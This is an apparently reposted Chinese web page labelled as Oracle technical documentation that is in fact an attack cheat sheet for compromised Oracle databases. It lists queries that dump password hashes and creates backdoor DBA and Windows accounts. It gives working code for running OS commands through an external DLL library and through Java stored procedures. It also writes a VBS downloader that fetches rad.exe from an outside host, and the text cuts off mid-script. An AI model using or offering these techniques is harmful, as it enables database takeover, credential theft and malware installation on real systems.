IT猫扑网:您身边最放心的安全下载站! 最新更新| 软件分类| 专题汇总| 手机版

您当前所在位置:IT猫扑网 > 数据库 > Oracle > oracle技术文档

oracle技术文档

时间:2015-06-28 00:00 来源:IT猫扑网|http://www.itmop.com/ 作者:网管联盟 我要评论(0)

第一部分

基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs查询当前用户角色
select * from user_sys_privs查询当前用户系统权限


select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';查系统权限
grant select any dictionary to system with admin option;登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;建用户bob密码iloveyou
grant dba to bob;赋予bob DBA权限
grant execute on xmldom to bob 赋予用户execute
Create ROLE &javauserpriv& NOT IDENTIFIED
Create ROLE &javasyspriv& NOT IDENTIFIED 当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; 检查那些用户有DBA权限
select * from dba_directories;查看路径所在目录

第二部分,创建java,执行系统命令

no.1

Create or REPLACE LIBRARY exec_shell AS 'c:windowssystem32msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME &system&
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors上面这个没有回显的

如果不行可以使用下面这个

Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOMEmsvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME &system&
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors执行完后
执行

exec oracmd.exec ('net1 user robert iloveyou /add');no2.

Create or REPLACE AND COMPILE JAVA SOURCE NAMED &Host& AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = &C:windowssystem32cmd.exe&; // Windows XP/2003
//finalCommand[0] = &C:winntsystem32cmd.exe&; // Windows NT/2000
finalCommand[1] = &/y&;
finalCommand[2] = &/c&;
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = &/bin/sh&;
finalCommand[1] = &-c&;
finalCommand[2] = command;
}

final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();

new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println(&Process out :& + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println(&Exception caught printing process output.&);
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();

new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println(&Process err :& + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println(&Exception caught printing process error.&);
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}

public static boolean isWindows() {
if (System.getProperty(&os.name&).toLowerCase().indexOf(&windows&) != -1)
return true;
else
return false;
}

};
/
Create or REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '<>', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);

host_command('dir C:');

DBMS_OUTPUT.get_lines(l_output, l_lines);
END;这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
host_command('dir C:');
#p#副标题#e#
no3.

create or replace and compile
java souRCe named &util&
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户

grant javasyspriv to system最后执行

exec :x:=run_cmz('ipconfig');第二部分 操作磁盘文件
no1.
建立目录

create or replace directory DIR as 'C:';此目录当然也可以是启动目录

授权

grant read, write on directory DIR to system这步可以不用
然后执行操作
写文件

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject(&Microsoft.XMLHTTP&)
xPost.Open &GET&,&http:/ /blog.cnmoker.org/rad.exe&,0
xPost.Send()
Set sGet=CreateObject(&ADODB.Stream&)
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile &c:rad

关键词标签:oracle

相关阅读 误删Oracle数据库实例的控制文件 为UNIX服务器设置Oracle全文检索 Oracle数据库如何查找删除重复的SQL语句 Oracle导入导出数据库的语法 oracle数据库安装预环境一键处理脚本 oracle常用DBA命令

文章评论
发表评论

热门文章 误删Oracle数据库实例的控制文件 误删Oracle数据库实例的控制文件 利用Oracle分区表来减少磁盘I/O冲突 利用Oracle分区表来减少磁盘I/O冲突 Oracle数据库优化之数据库磁盘I/O Oracle数据库优化之数据库磁盘I/O 讲解Oracle复制技术的分布式系统同步应用 讲解Oracle复制技术的分布式系统同步应用 刷新Oracle缓存 刷新Oracle缓存 oracle 8080与TOMCAT默认端口冲突 oracle 8080与TOMCAT默认端口冲突

相关下载

人气排行 oracle中使用SQL语句修改字段类型-oracle修改SQL语句案例 Oracle中使用alter table来增加,删除,修改列的语法 ORACLE SQL 判断字符串是否为数字的语句 ORACLE和SQL语法区别归纳(1) oracle grant 授权语句 ORACLE修改IP地址后如何能够使用 如何加速Oracle大批量数据处理 Oracle删除表的几种方法 Oracle 10g创建表空间和用户并指定权限 Oracle连接数太多报错-ORA-12516错误 Oracle字符串截取 连接Oracle数据库的Hibernate配置文件